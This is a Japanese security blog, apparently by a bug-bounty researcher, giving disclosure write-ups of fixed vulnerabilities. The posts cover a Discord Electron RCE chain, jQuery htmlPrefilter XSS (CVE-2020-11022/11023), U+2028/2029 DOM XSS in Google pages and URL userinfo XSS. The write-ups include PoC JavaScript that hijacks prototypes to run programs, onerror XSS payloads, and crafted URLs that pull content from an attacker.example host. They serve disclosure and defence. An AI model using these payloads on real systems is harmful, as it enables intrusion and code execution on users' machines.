ラベル JavaScript の投稿を表示しています。 すべての投稿を表示
ラベル JavaScript の投稿を表示しています。 すべての投稿を表示

2020/10/18

DiscordデスクトップアプリのRCE

数か月前、ゲームのコミュニティなどで人気のチャットアプリ「Discord」のデスクトップ用アプリケーションに任意のコードを実行可能な問題を発見し、Bug Bounty Programを通じて報告しました。発見したRCEは、複数のバグを組み合わせることによって達成される面白いものだったので、この記事では、その詳細を共有したいと思います。なお、現在脆弱性は修正されています。

調査のきっかけ

Electronアプリの脆弱性を探したい気分だったので、Electronアプリで報奨金が出るアプリを探していたところ、Discordが候補にあがりました。Discordは自分自身が利用者で、自分が使うアプリが安全かどうかをチェックしたいという思いもあったので、調査をすることにしました。

発見した脆弱性

私は主に次の3つのバグを組み合わせることでRCEを達成しました。

  1. contextIsolationオプションの不使用
  2. 埋め込みコンテンツのXSS
  3. ナビゲーション制限のバイパス(CVE-2020-15174)

1つずつ紹介していきます。

contextIsolationオプションの不使用

Electronアプリを検査するとき、私がまず確認しているのが、ブラウザウィンドウを作成するときに使用するBrowserWindow APIで使われているオプションです。まずオプションをチェックして、レンダラ上に読み込まれたページのXSSなどを通じて任意のJavaScriptを実行できた場合に、RCEの達成ができそうかを確認します。

Discordのソースコードは公開されていませんが、ElectronのJS部分はローカルにasar形式で圧縮して保存されており、単に圧縮を解くことによって確認することができました。

メインウィンドウでは、以下のオプションが使用されていました。 

const mainWindowOptions = {
  title: 'Discord',
  backgroundColor: getBackgroundColor(),
  width: DEFAULT_WIDTH,
  height: DEFAULT_HEIGHT,
  minWidth: MIN_WIDTH,
  minHeight: MIN_HEIGHT,
  transparent: false,
  frame: false,
  resizable: true,
  show: isVisible,
  webPreferences: {
    blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
    nodeIntegration: false,
    preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
    nativeWindowOpen: true,
    enableRemoteModule: false,
    spellcheck: true
  }
};

ここで特にチェックすべき重要なオプションは、nodeIntegrationとcontextIsolationです。上記のコードから、Discordのメインウィンドウでは、nodeIntegrationはfalse、contextIsolationはfalse(使われているバージョン時点でのデフォルト)に設定されていることがわかりました。

nodeIntegrationがtrueになっていれば、レンダラ上に読み込まれたページのJavaScriptから、require呼び出しを介して、シンプルにNode.jsの機能を使うことができます。例えば、Windows上で電卓を呼び出すJavaScriptは次のようになります。

<script>
  require('child_process').exec('calc');
</script>

今回は、nodeIntegrationはfalseに設定されていたので、このように直接requireを使ってNode.jsの機能を使うことはできません。

しかしまだ、Node.js機能へのアクセスの可能性は残っています。もう1つ重要と言ったオプション、「contextIsolation」はfalseでした。RCEの可能性を排除したければ、この設定をfalseにすべきではありません。

contextIsolationが無効になっていると、Webページ上で実行されたJavaScriptが、Electron自体がレンダラで使っているJavaScriptコードや、プリロードスクリプト(以下、これらをWebページ外のJavaScriptコードと呼ぶこととします)の実行に影響を与えることができてしまいます。例えば、JavaScriptのビルトインメソッドであるArray.prototype.joinをWebページ上で別の関数で上書きした場合、Webページ外のJavaScriptコード上でjoinが使用されると、それらの箇所でも上書きされた関数が呼び出されるという具合になります。

この動作は危険です。というのも、これらのWebページ外のJavaScriptコードでは、Node.js機能へのアクセスがnodeIntegrationの設定にかかわらず許されており、Webページから上書きした関数でそれらのコードの実行に干渉することで、nodeIntegrationがfalseであっても、RCEを実現できる場合があるためです。

なお、そのようなトリックがElectronに存在することは、以前までは全く知られておらず、私も参加したCure53が2016年行ったElectronアプリケーションの検査の中で初めて発見されました。その後、Electron自体の問題として対処され、このcontextIsolationオプションが導入されたという背景があります。

その時の検査のレポートが以下に最近公開されたので、よければご覧ください。

Pentest-Report Ethereum Mist 11.2016 - 10.2017
https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view

また、私が以前イベントでこの問題について発表した資料も以下にあります。


contextIsolationは、WebページとWebページ外のJavaScriptコードとの間に別々のコンテキストを導入し、それぞれのコードの実行がそれぞれに影響を与えないようにします。RCEの可能性を排除するためには必ず有効にすべき機能ですが、今回Discordでは無効になっていました。

contextIsolationが無効になっていることが分かったので、Webページ外のJavaScriptコードに干渉することで任意のコードの実行を実現できるような箇所を探し始めました。

通常、私がElectronの検査でRCEのPoCを作成するときは、まずElectron自体がレンダラで使っているJavaScriptコードを利用してRCEを実現しようとします。これは、Electron自体がレンダラで使っているJavaScriptコードはどんなElectronアプリでも実行されるため、基本的には同じ攻撃コードでRCEを実現でき、簡単だからです。

スライドでは、ナビゲーション時に実行されるElectron内部のコードを利用してRCEできることを紹介しましたが、そのように利用できる箇所がいくつか存在しています。 (このあたりの方法については、いずれまとめたいと思います。) 

ただし、使用されているElectronのバージョンや設定されているBrowserWindowオプションなどによって、コードが変更されていたり、うまくそのコードに到達できないことがあり、今回はうまくいかなかったので、プリロードスクリプトにターゲットをうつしました。

すると、Discordは、プリロードスクリプトからWebページ上に関数を公開しており、DiscordNative.nativeModules.requireModule('モジュール名') を通じて、一部の許可されたモジュールを呼び出せるようにしていることがわかりました。ここで直接child_processなどのRCEに利用できるモジュールを使うことはできませんでしたが、ビルトインメソッドの上書きによって、公開されたモジュールの実行に干渉することで、RCEを実現できる箇所を発見しました。

以下がそのPoCです。discord_utils というモジュールが定義するgetGPUDriverVersionsをRegExp.prototype.testとArray.prototype.joinを以下のような関数で上書きした状態でdevTools上から呼び出すと、電卓が起動することを確認できました。

RegExp.prototype.test=function(){
    return false;
}
Array.prototype.join=function(){
    return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

getGPUDriverVersionsは、以下のように、関数内でexecaというライブラリを使用してプログラムの実行を行おうとします。

module.exports.getGPUDriverVersions = async () => {
  if (process.platform !== 'win32') {
    return {};
  }

  const result = {};
  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

  try {
    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
  } catch (e) {
    result.nvidia = {error: e.toString()};
  }

  return result;
};

execaはnvidiaSmiPath変数で指定されたプログラム「nvidia-smi.exe」を実行しようとしていますが、RegExp.prototype.testとArray.prototype.joinを上書きしたことで、execa内部の処理で、引数がcalcに変更されます。

具体的には次の2か所を変更することで引数を取り換えています。

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

あとはこのスクリプトを実行する方法をアプリ上で発見すれば、実際にRCEが達成可能ということになります。

埋め込みコンテンツのXSS

任意のJavaScriptの実行からRCEが起きうることはわかったので、アプリ上でXSSを探し始めました。XSSが起きやすそうなオートリンク機能やMarkdownのサポートがありましたが、うまく作られているようでした。そこで私はiframeの埋め込み機能に目を付けました。iframeの埋め込み機能とは、YouTubeのURLを張り付けたときなどに動画プレーヤーが自動で展開され、チャット上で再生できるような機能のことです。

Discordは、URLが貼り付けられると、そのURLのOGP情報を取得しに行き、OGP情報がある場合は、ページのタイトルや概要、サムネイル画像や関連付けられた動画などをチャット上にインライン表示します。

このOGPから、動画のURL情報を取り出し、その"動画のURLが" 埋め込みを許可されたドメインにあり、埋め込み用ページのURLの形をしていれば、iframeの埋め込みが許可されます。

どのサービスがiframeへ埋め込まれるかは、どこかにドキュメント化されていなかったのでCSPのframe-srcディレクティブを見ることでヒントを得ました。以下がその時設定されていたCSPです。

Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com

YouTubeやTwitch、Spotifyなど、明らかにiframeへの埋め込みを目的に許可されたドメインがあるのがわかります。私はこの中のサービスから、OGPの動画情報部分にURLを指定して、iframeに埋め込まれるかどうかを1つ1つ確認し、そのURL上にXSSがないか探しました。すると、ここにリストされているドメインの1つ「sketchfab.com」の埋め込み用URLで、URLが埋め込まれ、そのURL上でXSSを発見できました。私はこの時に初めてSketchfabを知ったのですが、3Dモデルを公開したり売買できるプラットフォームのようです。3Dモデルへ付加できる脚注中にシンプルなDOM-based XSSがありました。

以下は脆弱性レポート中でも使用した細工したOGPを持ったページです。このURLをチャットに投稿すると、Sketchfabのiframeがチャット上に表示され、iframe上で数回のクリック操作を実行するとスクリプトが発火していました。

https://l0.cm/discord_rce_og.html

<head>
    <meta charset="utf-8">
    <meta property="og:title" content="RCE DEMO">
    [...]
    <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
    <meta property="og:video:type" content="text/html">
    <meta property="og:video:width" content="1280">
    <meta property="og:video:height" content="720">
</head>

さて、XSSを発見したのはいいのですが、JavaScriptはまだiframe中で実行されています。Electronはiframe内にWebページ外のJavaScriptコードをロードしないので、iframeからビルトインメソッドを上書きしても、クリティカルな部分に干渉することができません。RCEのためには、iframeの外に出て、トップレベルブラウジングコンテキストでJavaScriptを実行する必要があります。これには、iframeから新しいウィンドウを開くか、topのウィンドウをiframeから別のURLへナビゲートする必要がありそうです。

新しいウィンドウのオープンとtopウィンドウのナビゲーションは、Mainプロセス側の以下のコードで、"new-window"および"will-navigate"イベントを監視することで制限されているようでした。

mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
  e.preventDefault();
  if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
    popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
  } else {
    _electron.shell.openExternal(windowURL);
  }
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {
  if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
    evt.preventDefault();
  }
});

このコードを見る限りでは、うまく新しいウィンドウのオープンとナビゲーションを制限しているように見えました。ところが、予想外のことが起きました。

ナビゲーション制限のバイパス(CVE-2020-15174)

ひとまずブロックされる様子を見てみようと思い、実際に動かしてみると、iframeからtopへのナビゲーションがなぜかブロックされなかったのです。普通は、ナビゲーションが発生する前にwill-navigateイベントによって捕捉され、preventDefault()によってナビゲーションは中断されるはずです。

不思議に思い、この動作を模倣する小さなElectronアプリを作って確かめてみると、iframeから発生したtopへのナビゲーションから、will-navigateイベントがなぜか送出されていないことがわかりました。iframeのURLがtopと同一オリジンの場合はちゃんと送出されるのですが、どうやらクロスオリジンにあると送出されないようなのです。クロスオリジンのときだけイベントが送出されない特別な理由があるとは思えないので、Electronのバグであると考え、後でElectron Teamへ報告することにしました。

このバグに助けられ、ナビゲーション制限をバイパスすることができました。あとは、iframe内のXSSを使って、top.location="//l0.cm/discord_calc.html"などとして、topをRCEを実行するコードを含んだページへナビゲートするだけです。

このように、3つのバグを組み合わせ、以下の動画のように電卓を実行することができました。


おわりに

これらの問題は、DiscordのBug Bounty Programを通じて報告しました。まず、Sketchfabの埋め込みが無効化され、iframeにsandbox属性をつけることでiframeからナビゲーションを起こせないような回避策がとられました。その後、しばらくしてcontextIsolationが有効化され、任意のJavaScriptを実行できたとしても、ビルトインメソッドの上書きからRCEが起きないようになりました。この発見の報奨金として$5,000をいただきました。

SketchfabのXSSは、SketchfabのBug Bounty Programを通じて報告し、修正されました。こちらも$300の報奨金をいただきました。

will-navigateイベントが送出されない動作はElectronのバグとしてElectronのセキュリティ窓口を通じて報告したところ、以下のように脆弱性(CVE-2020-15174)として修正されました。

Unpreventable top-level navigation · Advisory · electron/electron
https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674

以上、Electronアプリ「Discord」の脆弱性について紹介しました。アプリ自体のコードとは無関係の、外部ページのXSSやElectronのバグのせいでRCEに繋がっている点が個人的にはとても面白いと思います。2016年頃にElectronに初めて触れたときは、XSSがあれば一発RCEの危険なプラットフォームという印象でしたが、現在はElectronのデフォルトでcontextIsolationを有効化するなど、安全側に倒そうとする動きがあり、少しずつセキュリティ面が改善されてきているように思います。いいことですね。

この記事がElectronアプリを安全にするための一助となれば幸いです。

2020/05/18

CVE-2020-11022/CVE-2020-11023: jQuery 3.5.0で修正されたSecurity Fixの詳細

English version is here: https://mksben.l0.cm/2020/05/jquery3.5.0-xss.html


先月、jQuery 3.5.0がリリースされました。
このバージョンでは、僕が報告した問題がSecurity Fixとして含まれています。

jQuery 3.5.0 Released! | Official jQuery Blog
https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/

報告したバグは、CVE-2020-11022、 CVE-2020-11023 として採番されています。

https://github.com/advisories/GHSA-gxr4-xjj5-5px2
https://github.com/advisories/GHSA-jpcq-cgw6-v4j6

少し遅くなりましたが、この記事では、この問題がどんなものであったかを紹介します。

問題の概要


この問題の影響を受けるのは、次のようなアプリケーションです。

  • ユーザに、XSSが起きない範囲で、好きなHTMLを使用させる機能がある
  • そのHTMLをjQueryで動的にページへ追加している

このような機能を持つアプリケーションを、シンプルなコードで表してみます。
<div id="div"></div>
<script>
//サーバ側でサニタイズされた安全なHTML
sanitizedHTML = '<p title="foo">bar</p>';
//divにHTMLを追加
$('#div').html(sanitizedHTML);
</script>
この状況では、通常、適切にサニタイズが行われているのであれば、ただ安全なHTMLを追加しているだけなので、XSSが発生することはないように思えます。しかし、実際には、.html()は内部で特別な文字列処理を行っており、この処理のせいでXSSが発生する場合がありました。これが今回の問題です。

XSSが起きる例


いくつかバリエーションがあるのですが、3つ例を示します。
次の3つはいずれも本来スクリプトが実行されないHTMLです。
例1.
<style><style /><img src=x onerror=alert(1)> 
例2. (jQuery 3.x以降のみ影響)
<img alt="<x" title="/><img src=x onerror=alert(1)>">
例3.
<option><style></option></select><img src=x onerror=alert(1)></style>
onerrorを持ったimgタグがあるように見えるかもしれませんが、よく見ると、属性内にあったり、style要素の内側に置かれていて、それらは実際には実行されないものです。これらがサニタイズ済みの安全なHTMLとして生成されたとしても、なんら不自然ではありません。

しかしながら、いずれも、.html()を通して追加されると、本来は実行されないスクリプトが実行されてしまいます。

それぞれの例を以下で実際に実行できます。
https://vulnerabledoma.in/jquery_htmlPrefilter_xss.html

なぜ実行されたのか詳しくみていきます。

CVE-2020-11023: 問題の原因(例1と2)


例の1と2は同じ原因で発生します。.html()の内部では、引数のHTML文字列が $.htmlPrefilter() というメソッドに渡されます。htmlPrefilterでは、<tagname />のようなself-closingタグを、次の正規表現を使った置換によって、<tagname ></tagname>のような形に戻す処理を行います。

rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi
[...]
htmlPrefilter: function( html ) {
  return html.replace( rxhtmlTag, "<$1></$2>" );
} 
この置換処理に例1のHTMLを通した時の出力は以下になります。
> $.htmlPrefilter('<style><style /><img src=x onerror=alert(1)>')
< "<style><style ></style><img src=x onerror=alert(1)>"
黄色部分が置換された箇所です。この置換により、style要素の内側にあった<style />が<style ></style>となり、それ以降の文字がstyle要素の外にはみ出てしまいました。.html()はこの後、置換後の文字列をinnerHTMLへ代入します。そこで、本来style要素の内側にあった<img ...>がタグとして現れ、onerrorが発火してしまいます。これが例1が発火するメカニズムです。

なお、上記の正規表現はjQuery3.x以前に使われていたもので、3.x以降は以下のように少し変更されています。

https://github.com/jquery/jquery/commit/fb9472c7fbf9979f48ef49aff76903ac130d0959#diff-169760a97de5c86a886842060321d2c8L30-R30
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi

この変更によって、より簡単な要素・属性で、XSSを引き起こすことが可能になりました。
例2はこの変更によって生まれた新たなベクターです。jQuery3.x以降でのみ動作します。
> $.htmlPrefilter('<img alt="<x" title="/><img src=x onerror=alert(1)>">')
< "<img alt="<x" title="></x"><img src=x onerror=alert(1)>">"
こちらは属性内にある文字列がはみ出してXSSが発生しています。

これが例1と2の原因でした。

jQuery側の修正(例1と2)


$.htmlPrefilter()を、渡された文字列をそのまま返す関数に変更することで対処されました。

https://github.com/jquery/jquery/commit/90fed4b453a5becdb7f173d9e3c1492390a1441f#diff-169760a97de5c86a886842060321d2c8L201-R198

しかし、これで全ての問題が解決したわけではありませんでした。.html()内部ではさらに別の文字列処理が行われており、それが原因で例3が発生します。

CVE-2020-11022: 問題の原因(例3)


.html()内部では、引数に渡されたHTMLの先頭に出てくるタグが特定のタグであった場合、他のタグで一度ラップしてから処理を行おうとします。これは、ラップされている状態でないと、処理途中で勝手に消されてしまうような要素がブラウザの仕様やバグのために存在するからです。

option要素はそのような要素の1つです。IE9限定ではありますが、IE9のバグによってselect要素がないと消されてしまいます。jQueryはこれに対処するために、例えば、<option>aaa</option>のような、最初に出てくる要素がoption要素のHTML文字列が渡されると、<select multiple='multiple'>と</select>で全体をラップして処理を行おうとします。

ラップを行うタグは以下のファイルで定義されています。
https://github.com/jquery/jquery/blob/3.4.1/src/manipulation/wrapMap.js#L9

実際のラップは以下で行われます。
https://github.com/jquery/jquery/blob/d0ce00cdfa680f1f0c38460bc51ea14079ae8b07/src/manipulation/buildFragment.js#L39

例3は、このラップの処理が原因で発生していました。
例3のHTMLがラップ処理を通ると、次のHTMLが組み立てられます。
<select multiple='multiple'><option><style></option></select><img src=x onerror=alert(1)></style></select>
これがjQueryの内部のコード中でinnerHTMLへ代入されるとき、スクリプトが実行されます。

スクリプトが実行される理由はselect要素のパース方法にあります。select要素の内側では、option、optgroup、script、template要素以外のHTMLタグは置くことができません。この仕様によって、ここに書かれた<style>は無視され、<style>の内側にあった</select>が閉じタグとして作用し、select要素がそこで終了します。後続の<img ...>が<style>からはみ出た結果、onerrorが発火します。これが例3の原因でした。

jQuery側の修正(例3)


このラップ処理をIE9だけに適用することで対処されました。

https://github.com/jquery/jquery/commit/966a70909019aa09632c87c0002c522fa4a1e30e#diff-51ec14165275b403bb33f28ce761cdedR25

そうすると、IE9は脆弱なままに思えますが、実際には問題ありません。というのも、詳しくは触れませんが、IE9は他のブラウザとは異なる奇妙な規則でselect要素の内側に置かれた<style>のパースを行うため、この問題の影響を受けないからです。

ちなみに、これらの問題は、.html()だけではなく、.append()、$('<tag>')のような、HTMLを生成/追加する際に$.htmlPrefilter()やラップ処理を通すその他のAPIでも発生します。

更新しましょう


サニタイズしたHTMLをjQueryで追加している覚えのある人は3.5.0以降へのアップデートを推奨します。
アップデートが何らかの理由で難しい場合は、DOMPurifyを使ってサニタイズを行うことをお勧めします。DOMPurifyは、SAFE_FOR_JQUERYという、このバグを考慮したサニタイズを行うオプションがあるためです。例えば、次のように使います。
<div id="div"></div>
<script>
unsafeHtml = '<img alt="<x" title="/><img src=x onerror=alert(1)>">';
var sanitizedHtml = DOMPurify.sanitize( unsafeHtml, { SAFE_FOR_JQUERY: true } );
$('#div').html( sanitizedHtml );
</script>
なお、DOMPurifyでは最近バイパスが見つかっています。既にDOMPurifyをSAFE_FOR_JQUERYと共に使っている人は、バイパスに対処した2.0.8以降にアップデートしていることを確認してください。

おわりに


この問題を調査したきっかけは、@PwnFunctionさんによる以下のXSSチャレンジでした。
https://xss.pwnfunction.com/challenges/ww3/

実はこのバグの一部は以前から既知で、このチャレンジではそれが想定解となっていました。(実際、DOMPurifyでは、2014年には既にSAFE_FOR_JQUERYオプションが導入されており、相当前から知られていた問題であることがわかります。)

今回、このチャレンジをきっかけに改めてjQueryのソースを読んでみました。その過程で、今まで言及されていなかった「例2」のベクターを発見しました。このケースは、かなりベーシックなHTML要素・属性だけで攻撃が可能で、多くの開発者が知らずに脆弱性を作りこんでいるのではないかと考え、実際に調べてみると、すぐにXSSが可能なアプリが見つかりました。影響を受けるアプリの開発元に報告をすると同時に、本来はjQueryが修正すべき問題だという思いを持ち、今回報告に至りました。jQueryのメンテナの方々は、破壊的な変更をしなければならなかったにもかかわらず、迅速に問題に対処してくれました。素早い対応に感謝します。また、この問題を調査するきっかけをくれたXSSチャレンジ作成者の@PwnFunctionさんにも感謝します。

以上、jQuery 3.5.0で修正された脆弱性について説明しました。この記事がjQueryを使ったアプリをセキュアにする助けとなれば嬉しいです。

2013/09/17

U+2028/2029とDOM based XSS

ECMAScriptの仕様では、0x0A/0x0D以外にU+2028/2029の文字も改行とすることが明記されています。
これはあまり知られていないように思います。 以下はアラートを出します。
 
<script>
//[U+2028]alert(1)
</script>

知られていないだけでなく、知っていたとしても、スクリプトで文字列を処理するときに、U+2028/2029まで考慮する開発者がどれだけいるのかという話です。
実際、U+2028/2029を放り込むと文字列リテラル内にその文字が生のまま配置され、エラーが出るページは本当にたくさんあります。まあ、エラーがでるだけなら、大抵の場合大きな問題にはなりません。

ところが、U+2028/2029によってXSSが引き起こされてしまう場合というのを最近実際に見ました。
Googleのサービスで見つけた2つのケースを取り上げたいと思います。

ケース1. ChromeとIEで脆弱だった例

 以下はGoogle(tools.google.com)に存在した脆弱なコードです。URLは例です。


https://tools.google.com/foo/bar/install.html
var url = String(window.location);
var match = url.match(/(.*)www\.google\.com(.*\/install.html)/);
if (match) {
window.location = match[1]+"tools.google.com"+match[2];
}


正規表現でURLを取得し、リダイレクトをしようとしています。
コードを書いた人が期待するのは、おそらく、アクセスされたホストが  www.google.com だった場合に、ホスト tools.google.com の同じURLにリダイレクトさせるものだと思います。

この正規表現では残念ながら期待しないURLへのリダイレクトを許可してしまいます。
次のようなURLを与えられると、予想外のウェブページへのリダイレクトどころか、XSSが起きます。

https://tools.google.com/foo/bar/install.html#[U+2028]javascript:alert(1)//www.google.com/install.html

JavaScriptの正規表現の . (ドット) は改行以外のすべての文字にマッチします。この「改行」に当てはまるのは、0x0Dや0x0Aだけではないというのがポイントです。
URLに0x0D、0x0Aを直に含めることはできません。 ところが、U+2028/2029は、ChromeやIEの#以降において、エンコードせずに含めることができてしまうのです。
 これらの文字ははじめに書いたように、仕様上改行の扱いなので、 . (ドット) にマッチしません。ですので、上記URLの場合、後続の条件を含めた、改行を含まない0文字以上の繰り返し 「.*」 にマッチするのは「javascript:alert(1)//」ということになり、見事にjavascript: なURLを引っ張り出すことができてしまうという訳です。

以下でこのコードを確かめることができます。
http://vulnerabledoma.in/domxss_u2028u2029.html

以下でChromeやIE9以上でアクセスすると再現を確認できます。
PoC

ちなみに、IEの場合、IE9以降のドキュメントモードでないと .(ドット) がU+2028/2029にマッチしてしまう挙動があるようなので、動きません。

ケース2. IEだけが脆弱だった例

こんなコードのあるページがありました。

https://www.google.com/intl/en/nexus/features.html
 var a = window.location.toString();
return a.indexOf("intl") > -1 ? a.match("/(.*)/nexus/")[0] :
"/nexus/"

この処理でもらってきたURLにフラグメント以降の文字列を足してXMLHttpRequestを飛ばし、responseTextをページ中に書き出すだか、そんな処理をしていたと思います。

パス先頭の「/intl/en/」はGoogleのサービスのいろいろな箇所で使えるURLで、「en」だったら英語、「ja」だったら日本語で表示してくれたりと、その言語での表示の切りかえができるものです。

intlという文字列がURLに存在した場合の分岐後の処理にでてくる、「/(.*)/nexus/」の .* がここでも問題になります。「/nexus/」という文字列がでてくる前に スラッシュと 0文字以上の改行以外の繰り返し が存在することがマッチの条件です。この正規表現で期待されるURLは、最初のスラッシュは プロトコルとホストの区切りの「//」の先頭で、そこからパスの/nexus/がでてくるまでの文字列を拾ってくるというものだと思います。

さあ、これを騙すことができるでしょうか。

一番初めの報告では、僕が以前発見したAndroid 4.1未満のlocation.hrefのバグ( CVE-2012-3695 )を利用した場合にXSSが起きるだろうというものでした。
https://attacker%2Eexample%2Ecom%2Fnexus%2F@www.google.com/intl/en/nexus/features.html#/help
詳細は以前記事に書いた通り、認証情報を記述できるホストの前の@以前の文字列が、location.href中で勝手にデコードされて取得されるという問題です。
デコードされてしまうと、最終的にさっきの正規表現では、
//attacker.example.com/nexus/help

みたいなかんじの外部リソースが取得されてしまいます。こうなると、外部サイトで、Access-Control-Allow-Originを設定しておくことで、www.google.com上にresponseTextを通じて、スクリプトを含んだ文書を紛れ込ますことができてしまいます。

自分の過去の報告から考えても、GoogleはAndroidに残ったバグに起因するXSS対応には乗り気ではないかんじだったので、今回もこれじゃあ弱いなーと思いつつ一応の報告に至ったのですが、やはり反応はよくありませんでした。

その後、他のブラウザでもなんとかならないかとあれこれ考えていると、/intl/en/の「en」の部分にはほとんど自由に文字を入れられることに気が付きました。指定が変な場合は英語の文書が表示されるようです。

実は、IEは#以降以外にも、パス、クエリ部分も、エンコードしないで U+2028/2029 を含めることができてしまいます。

ならば、以下のようにすれば、一番はじめにでてくるスラッシュからnexusまでのマッチを回避できます。
https://www.google.com/intl/en[U+2028]/nexus/features.html?[U+2028]//attacker.example.com/nexus/#/help

少々ややこしいですが、正規表現のまどろっこしい文章説明をこれ以上繰り返すのはメンドイので、これで何がマッチされるか、よく見てみてください。
こうして、IEで動作することを証明できました。


はい、U+2028/2029で生じるDOM based XSSというのを紹介しました。

このXSSのわかりにくいところは、

・そもそもU+2028/2029が改行であることを知らない/忘れやすい
・URLに改行にあたる文字が入ることを意識しづらい

ことにあると思います。
まあ、改行がどうこうというより、Googleの例でも、かなりおおざっぱな正規表現のために失敗しているので、日ごろから厳密な正規表現を書くことを心がけていれば、混入する可能性はだいぶ少なくなると思います。

ちなみに、この2件の報告はGoogleの報酬制度の金額の増額が発表されたあとのものなので、前者は$3,133.7、後者は$5,000を頂いています。 金額の違いは存在したドメインの重要度の違いによるものです。

まとめ

U+2028/2029はJavaScript中で改行と同じ意味を持つ。
IEはURL中のパス・クエリ・フラグメントで、U+2028/2029をエンコードせずに含められる。
Chromeはフラグメント中でU+2028/2029をエンコードせずに含められる。
正規表現は可能な限り厳密に書こう。

2012/10/16

ホストの前に文字が置けることを忘れるな

今日は、 そもそもホストの前に任意の文字列を置けるということを忘れていると、うっかりそこにJavaScriptで触ってしまった時に問題が起こる場合があるよね、という話をします。
以前紹介したlocation.hrefの問題に似ていますが、今回取り上げているのは文字列がデコードされることにより起きうる問題ではなく、文字列が取得されることで起きうる問題についてです。
 
まずは、様々な形でJavaScriptでURLを確認できるスーパーウェブサイトを用意致しましたので、ホストの前に文字列を含むURLが、どの値で取得されているかを実際に見てみてください。

http://user:pass@vulnerabledoma.in/location/

(※このページはURLをそのまま書きだしているため、当然DOM based XSSがありますが 、その挙動も含めて確認できるようにする目的があるので、あえてそうしています。良い子はこのようなコードを書くべきではありません。)


いろいろなブラウザでアクセスすると、様々な違いがあることがわかると思います。

まず、アクセスするところから違いがあります。
Chrome/Operaは何事もなくアクセスします。Firefoxは認証情報をもってアクセスする旨のプロンプトが出ます。Safariはデフォルトの設定でフィッシング警告が出ます。IEはそもそもアクセスできません(ので、今回は、珍しくIEの出番が早くもここで終了です!!!!!)。

取得された@の前の値を見ていきます。
Firefoxはlocation.*以外のURL全体を取得するような値で、user:passが取得できています。
Chromeは、全てのURL全体を取得するような値で、@の前の文字列を全て取得できています。
SafariもChromeと同様、全てのURL全体を取得するような値で@の前の文字列を取得していますが、値によってパスワード部分を含んだり、含まなかったりしています。
Operaはdocument.URLのみ@の前の文字列を含んでいますが、パスワードの部分はマスクされて取得されています。

見事にバラバラですね。他の値についても結構バラバラで、注意すべき点があるので、今回はその点には触れませんが、興味がある人は見てみてください。

さて、いろいろ見てきましたが、いちいちこのブラウザのこの値では@の前の文字列がデコード/エンコードされてこの部分が取得されて~~って覚えましょうと提案している訳ではありません。
今回覚えておいてほしいのは、ホストの前に文字を置くことができ、それはJavaScriptで取得されるということです。特に、使用頻度が高い「location.href」で、Chrome/Safariにおいて、@の前の文字列が取得される点は注意が必要だと思います。忘れるとこういうことになるかもしれません:




ここでアラートを出しているのは、Googleが404ページにどうぞと提供しているJavaScriptに存在していたXSSによるものです。このJavaScriptファイルを読み込んでいただけで、設置サイトのドメイン上で動作するXSSの穴をあけてしまっていました。どこに問題があったかは、この画像のフレームが挿入されている部分と、このjsを設置した以下のサイトを見比べればわかると思います。

 http://vulnerabledoma.in/wm404.html

フレームが挿入されているところに「vulnerabledoma.in のページを検索:」と、ホストを書きだしている部分があります。そうです、このホストを書きだす部分の処理で、ホストの前に@で文字列が置けることを意識していなかったため、@の前までもがホストとして書き出され、XSSが起きてしまったという訳です。強調しておきますが、スクリーンショットのXSSがChromeで動いているように、これはSafariのlocation.hrefがデコードされる問題とは関係なく起きた問題です。

という訳で、ホストの前に文字を置くことができ、それはJavaScriptで取得されるということを忘れないで、location.hrefのようなURL全体を取得する値を使うようにしましょう、というお話でした。以前location.hrefのブログを記事にした時に、@uu59さんが指摘されていたこんなのもあり得そうなミスですね。

ちなみに、このGoogleの提供する404ページのJavaScriptの問題は、2012年3月12日に報告し、しばらくして修正されました。この報告の報酬として$1,337をもらっています。

2012/09/06

jQuery Mobile 1.2 Beta未満は読み込んでいるだけでXSS脆弱性を作ります

(2012/9/25 最後に重要な追記があります。 )

jQuery Mobile 1.2 Betaがさきほどリリースされたようです。
タイトルの通り、それに満たないバージョンのjQuery Mobileには読み込んでいるだけでXSS脆弱性を作ってしまう問題があります。お使いの方はアップデートをお勧めします。

jQuery Mobile 1.2 Beta Released | jQuery Mobile
http://jquerymobile.com/blog/2012/09/05/jquery-mobile-1-2-beta-released/


以前の記事で触れた、一部のブラウザのlocation.hrefの挙動に絡むXSSが修正されています。

以下の件とは別の修正であることに注意してください。

jQuery MobileのXSSについての解説 - 金利0無利息キャッシング – キャッシングできます - subtech
http://subtech.g.hatena.ne.jp/mala/20110711/1310391177


このときは、クロスドメインでリソースを読み込むことを全く制限していなかったことにより問題が起きていました。今回の場合は、この修正でクロスドメインのリソースを読み込まないようにするチェックが入ったものの、一部のブラウザが返すlocation.hrefの値を考慮したチェック方法で無かったため、その一部のブラウザ上で誤って無関係のサイトを同一のドメインとみなしてしまい、通信をしてしまうことで起きています。

